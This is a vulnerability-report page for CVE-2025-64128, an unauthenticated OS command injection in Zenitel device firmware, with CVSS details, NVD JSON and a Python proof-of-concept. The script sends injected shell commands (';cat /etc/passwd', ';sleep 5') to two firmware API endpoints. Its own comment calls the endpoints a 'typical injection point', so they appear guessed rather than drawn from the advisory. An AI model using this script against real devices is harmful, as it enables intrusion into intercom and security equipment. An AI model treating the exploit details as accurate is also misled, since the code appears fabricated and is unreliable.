Security Vulnerability Report
中文
CVE-2025-64128 CVSS 10.0 CRITICAL

CVE-2025-64128

Published: 2025-11-26 18:15:50
Last Modified: 2026-04-15 00:35:42

Description

An OS command injection vulnerability exists due to incomplete validation of user-supplied input. Validation fails to enforce sufficient formatting rules, which could permit attackers to append arbitrary data. This could allow an unauthenticated attacker to inject arbitrary commands.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Zenitel Station and Device Firmware Package (VS-IS) - 所有未修复版本
Zenitel固件包 - 版本 < 修复版本
Zenitel设备固件 - 特定版本信息请参考官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64128 PoC - Zenitel Device OS Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_cve_2025_64128(target_url, target_ip): """ Exploit OS Command Injection in Zenitel Device Firmware Args: target_url: Base URL of the Zenitel device web interface target_ip: Target device IP address for command injection """ # Vulnerable endpoint - typical injection point in device firmware vulnerable_endpoint = f"{target_url}/api/system/network/config" # Malicious payload with OS command injection # Inject arbitrary command to exfiltrate device information payload = { "interface": "eth0", "ip_address": f"{target_ip};cat /etc/passwd", "subnet_mask": "255.255.255.0", "gateway": "192.168.1.1" } try: print(f"[*] Sending exploit payload to {vulnerable_endpoint}") print(f"[*] Target IP: {target_ip}") # Send malicious request without authentication response = requests.post( vulnerable_endpoint, json=payload, timeout=10, verify=False ) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Payload delivered successfully") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def verify_vulnerability(target_url): """ Verify if target is vulnerable by checking for command injection """ # Simple verification by injecting sleep command verify_endpoint = f"{target_url}/api/system/diagnostics" # Time-based blind injection verification verify_payload = { "command": "ping", "target": "127.0.0.1;sleep 5" } try: print("[*] Verifying vulnerability...") response = requests.post( verify_endpoint, json=verify_payload, timeout=15, verify=False ) if response.elapsed.total_seconds() > 4: print("[+] Target appears to be VULNERABLE") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.RequestException as e: print(f"[-] Verification error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64128_poc.py <target_url> <target_ip>") print("Example: python cve-2025-64128_poc.py https://192.168.1.100 192.168.1.100") sys.exit(1) target_url = sys.argv[1] target_ip = sys.argv[2] print("="*60) print("CVE-2025-64128 - Zenitel Device OS Command Injection PoC") print("="*60) # First verify if vulnerable if verify_vulnerability(target_url): # Then attempt exploitation exploit_cve_2025_64128(target_url, target_ip)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64128", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:49.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An OS command injection vulnerability exists due to incomplete \nvalidation of user-supplied input. Validation fails to enforce \nsufficient formatting rules, which could permit attackers to append \narbitrary data. This could allow an unauthenticated attacker to inject \narbitrary commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-03.json", "source": "[email protected]"}, {"url": "https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-03", "source": "[email protected]"}]}}